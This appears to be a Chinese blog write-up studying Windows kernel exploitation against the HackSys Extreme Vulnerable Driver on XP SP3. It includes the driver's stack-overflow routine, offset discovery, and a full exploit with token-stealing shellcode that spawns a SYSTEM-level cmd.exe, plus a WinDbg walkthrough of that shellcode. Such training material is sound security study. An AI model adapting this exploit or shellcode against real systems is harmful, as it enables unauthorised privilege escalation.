Windows Kernel Exploit Study(1)

0x00:

之前在一个小群里joker师傅给大家推荐了一波Windows Kernel Exploit,这个入门级的windows kernel pwn的资料,正好跟着学习一下内核相关的知识。

0x01: 环境

  1. 所用系统说明
物理机 :windows10
虚拟机 :xp sp3 cn
  1. 过程中用到的工具
Visual Studio 2010
Windbg
ProcessExplorer
osrloaderv30

0x02: 前期准备

首先是双机调试和驱动加载的问题。
双机调试的话,首先修改xp的boot.ini文件,该文件在:C:\boot.ini。添加调试相关的选项,为了方便,我直接加了一个启动项,如图:

然后在vmware里给xp虚拟机加一个串口就可以了,配置如下图:

然后,进入windbg,选择:File–Kernel Debug,选中COM栏,填写相应的管道的信息,然后就可以开始调试了。

想要断下来然后单步可以直接:Debug———Break,这样就可以断下来了。

之后使用osrloaderv30工具去加载目标驱动。

0x03: 分析

开始只是准备尝试下最简单的Stackoverflow vuln去提权,关于这部分,驱动的源码如下:
这里只贴出来派遣例程部分的代码,漏洞很明显,内核里直接使用了用户层传进来的size进行拷贝工作,而没有做任何的check,导致栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

我们可以写一个demo去触发这个漏洞,然后使用Token替换的思路去提权。
根据WEK.pdf的例程,demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// bof_demo.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_NEITHER,FILE_READ_DATA | FILE_WRITE_DATA)
//#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc,_TCHAR* argv[]){

DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
PULONG lpInBuffer = NULL;
LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
SIZE_T nInBufferSize = 768 * sizeof(ULONG);
//SIZE_T nInBufferSize = 1024 * sizeof(ULONG);

printf("[*]Getting the device handle\r\n");
HANDLE hDriver = CreateFileA(lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[*]Failed to get device handle : (0x%X\r\n)",GetLastError());
return 1;
}

printf("[*]Got the device Handle : 0x%X\r\n", hDriver);
printf("[*]Allocating Memory For Input Buffer\r\n");
lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

if (!lpInBuffer) {
printf("[*]HeapAlloc failed :(0x%X\r\n)",GetLastError());
return 1;
}

printf("[*]Input buffer allocated as 0x%X bytes.\r\n",nInBufferSize);
printf("[*]Input buffer address : 0x%p\r\n",lpInBuffer);
printf("[*]Filling buffer with A's\r\n");


//char *data = "junk for get bof length....";

//memcpy(lpInBuffer,data,nInBufferSize);

RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);
printf("[*]Send IOCTL request\r\n");

DeviceIoControl(hDriver,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)lpInBuffer,
(DWORD)nInBufferSize,
NULL,
0,
&lpBytesReturned,
NULL);

printf("[*]IOCTL request completed,cleaning up da heap.\r\n");
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

return 0;
}

这段代码也很简单,自定义的buffer和size,然后传递给目标驱动的Stackoverflow的派遣例程。

0x04: 过程

下面就可以开始先去确定bof的长度了,使用kali下的pattern_create和pattern_offset工具,他们的路径在kali2下是:/usr/share/metasploit-framework/tools/exploit

修改上述源码部分:

1
2
char *data = "result of ./pattern_create.rb -l 3506";
memcpy(lpInBuffer,data,nInBufferSize);

重新编译demo_bof,然后运行。

崩溃了,eip被覆盖成了junk字符,然后确定偏移:

payload应该是:2080 bytes + sc addr

经典的TokenStealingShellcode如下:

构造出来的exploit如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#include <TlHelp32.h>

//#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,\
METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,\
METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET 0x124
#define EPROCESS_OFFSET 0x044
#define PID_OFFSET 0x084
#define FLINK_OFFSET 0x088
#define TOKEN_OFFSET 0x0c8
#define SYSTEM_PID 0x004

VOID TokenStealingShellcodeWin() {
__asm {
pushad

mov eax, fs:[KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]

mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET]
mov edx, SYSTEM_PID

SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx

popad

; recovery
xor eax, eax; set NTSTATUS SUCEESS
add esp, 12; fix stack
pop ebp
ret 8
}
}

int _tmain(int argc, _TCHAR* argv[]) {

DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
//PULONG lpInBuffer = NULL;
LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";
//SIZE_T nInBufferSize = 1024 * sizeof(ULONG);

printf("Getting the device handle\r\n");
HANDLE hDriver = CreateFileA(lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
printf("Failed to get device handle : (0x%X\r\n)", GetLastError());
return 1;
}

printf("Got the device Handle : 0x%X\r\n", hDriver);
printf("Allocating Memory For Input Buffer\r\n");
/*
lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

if (!lpInBuffer) {
printf("HeapAlloc failed :(0x%X\r\n)",GetLastError());
return 1;
}


printf("Input buffer allocated as 0x%X bytes.\r\n",nInBufferSize);
printf("Input buffer address : 0x%p\r\n",lpInBuffer);
printf("Filling buffer with A's\r\n");
*/


//RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);
printf("\t[*]Payload is at : %p\n", TokenStealingShellcodeWin);
//junk's length is 2080
CHAR *chBuffer = (CHAR*)malloc(2084);
printf("\t[*]Buffer is at : %p\n", &chBuffer);

memset(chBuffer, 0x41, 2048);
memset(chBuffer + 2048, 0x42, 32);
chBuffer[2080] = (DWORD)&TokenStealingShellcodeWin & 0x000000FF;
chBuffer[2080 + 1] = ((DWORD)&TokenStealingShellcodeWin & 0x0000FF00) >> 8;
chBuffer[2080 + 2] = ((DWORD)&TokenStealingShellcodeWin & 0x00FF0000) >> 16;
chBuffer[2080 + 3] = ((DWORD)&TokenStealingShellcodeWin & 0xFF000000) >> 24;


printf("Send IOCTL request\r\n");

DeviceIoControl(hDriver,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
chBuffer,
2084,
NULL,
0,
&lpBytesReturned,
NULL);

system("cmd.exe");
printf("IOCTL request completed,cleaning up da heap.\r\n");
//HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
CloseHandle(hDriver);
return 0;
}

重新编译后运行exploit程序。
因为我这个xp在安装的时候没有装whoami工具,所以在看我使用了ProcessExplorer来看新启动的cmd的权限信息。
在运行exploit之前

运行exploit

成功拿到最高权限。

0x05:关于shell code的分析

想要分析shellcode是如何工作的,直接在它最前面加一个int 3然后重新编译,再把exploit跑起来,windbg里分析就好了。
前面说到这个获取token要找到EPROCESS结构。

然而windows有个API PsGetCurrentProcess可以获取包含EPROCESS结构的process对象。
反汇编看下这个API的实现:

使用dt -b -v _EPROCESS查看EPROCESS结构。

之前在shellcode中看到的一些数据的定义,都可以在这里找到。
下面来分析我们这段shellcode的工作。

单步

至此,获得当前进程的EPROCESS结构指针保存在ecx待用。
下面进入循环寻找SYSTEM_PID,然后获取其token:

这个循环跑的次数挺多,我直接下断跳出循环接着分析,这里来到token替换的部分:

之后直接popad弹出之前保存的寄存器的值,然后回到原来的代码去执行,这个时候我们的进程(demo_bof)的token已经是system进程的token了,这个时候直接起一个cmd,就可以得到一个最高权限的shell了。

这个时候F5,虚拟机那边就已经起来一个system32的cmd了。

0x06: 参考与引用

Windows Kernel Exploit
lhs0k师傅的帮助